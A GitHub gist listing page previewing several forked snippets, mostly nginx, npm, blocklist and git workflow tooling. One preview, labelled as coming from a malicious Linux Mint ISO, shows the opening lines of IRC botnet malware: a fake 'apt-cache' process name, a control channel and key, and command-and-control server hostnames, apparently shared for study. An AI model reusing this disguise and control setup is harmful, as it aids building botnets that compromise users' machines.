Skip to content

Instantly share code, notes, and snippets.

View cwonrails's full-sized avatar

Chris Watson cwonrails

View GitHub Profile
@cwonrails
cwonrails / nginx-custom-build.sh
Created March 25, 2016 14:57
Build Ubuntu or Debian packages for nginx with custom patches, configs, and name suffixes in one command
#!/bin/bash
# Author: Alexander Rodin <rodin.alexander@gmail.com>
# License: MIT
BUILD_DIR=build
while getopts "hp:s:r:b:o:c:n" opt; do
case $opt in
h)
echo "Usage: $0 [options]"
@cwonrails
cwonrails / README.md
Created March 24, 2016 21:23 — forked from rauchg/README.md
require-from-twitter
@cwonrails
cwonrails / npm-unpublished-search.sh
Created March 23, 2016 17:46
Reports on the inclusion of unpublished modules in all package.json files found in deeper directories.
#!/bin/bash
# List of unpublished modules.
# https://gist.githubusercontent.com/azer/db27417ee84b5f34a6ea/raw/50ab7ef26dbde2d4ea52318a3590af78b2a21162/gistfile1.txt
badModules=(abril-fatface ada after-time alert andthen anglicize ansi-codes atbash attr attrs available-slug background-image ballet binding bind-key blending-modes boxcars brick brick-browser brick-browserify-plugin brick-node browserify-length bud bud-babelify bud-browserify bud-concat bud-indexhtml bud-live-server call-all categorize-files center-box centered centered-cover-background change-object change-object-path checkfor circle cli-form cli-qa combiner comma-list comp concat config-doc core-modules cover-background create-temp-dir debounce-fn declarative-js default-debug delegate-dom dom-children dom-classes dom-event domflow domquery dom-select dom-style dom-tree dom-value door duba eksi-server eksi-sozluk english-time environ every-time expand-home-dir failing-code failing-line filename-id filter-stack findall first-val flat-glob flatt
@cwonrails
cwonrails / blockpeers.sh
Created March 9, 2016 17:52 — forked from jult/blockpeers.sh
blocking p2p peer snoopers and evil corp (for Tixati IP filter and such)
#!/bin/sh
# This script runs every other night at 04:56 CET on a webserver I maintain
# Results are always at: https://jult.net/block.txt ( or https://jult.net/block.txt.gz )
# And much smaller, stripped of BS; https://jult.net/bloc.txt
# For use in Tixati IP filter: https://jult.net/bloc.txt.gz
# And finally a txt file with just the bold IP-ranges: https://jult.net/bl.txt (or https://jult.net/bl.txt.gz )
# Download open block-lists, unpack, filter:
curl -s https://www.iblocklist.com/lists.php | grep -A 2 Bluetack | xargs wget -qO - --limit-rate=500k | gunzip -f | egrep -v '^#' > /tmp/xbp
@cwonrails
cwonrails / README.md
Created March 9, 2016 15:30 — forked from renchap/README.md
One-line certificate generation/renews with Letsencrypt and nginx

Prerequisites : the letsencrypt CLI tool

This method allows your to generate and renew your Lets Encrypt certificates with 1 command. This is easily automatable to renew each 60 days, as advised.

You need nginx to answer on port 80 on all the domains you want a certificate for. Then you need to serve the challenge used by letsencrypt on /.well-known/acme-challenge. Then we invoke the letsencrypt command, telling the tool to write the challenge files in the directory we used as a root in the nginx configuration.

I redirect all HTTP requests on HTTPS, so my nginx config looks like :

server {
@cwonrails
cwonrails / nginx.conf
Created February 25, 2016 16:00 — forked from plentz/nginx.conf
Best nginx configuration for improved security(and performance). Complete blog post here http://tautt.com/best-nginx-configuration-for-security/
# to generate your dhparam.pem file, run in the terminal
openssl dhparam -out /etc/nginx/ssl/dhparam.pem 2048
@cwonrails
cwonrails / man.cy
Created February 21, 2016 20:11 — forked from kurobeats/man.cy
man.cy from malicious Linux Mint iso
#define STARTUP 1
#undef IDENT // Only enable this if you absolutely have to
#define FAKENAME "apt-cache" // What you want this to hide as
#define CHAN "#mint" // Channel to join
#define KEY "bleh" // The key of the channel
int numservers=5; // Must change this to equal number of servers down there
char *servers[] = {
"updates.absentvodka.com",
"updates.mintylinux.com",
"eggstrawdinarry.mylittlerepo.com",
@cwonrails
cwonrails / simple_git.md
Created February 15, 2016 20:55 — forked from 17twenty/simple_git.md
A Simple Git branching model

a simple git branching model

This is a very simple git workflow. It (and variants) is in use by many people. I settled on it after using it very effectively at Athena. GitHub does something similar; Zach Holman mentioned it in this talk.

The gist

@cwonrails
cwonrails / git-rebase.markdown
Created January 29, 2016 20:10 — forked from tmcgilchrist/git-rebase.markdown
Git rebase workflow

Checkout a new working branch

 git checkout -b <branchname>

Make Changes

 git add
 git commit -m "description of changes"

Sync with remote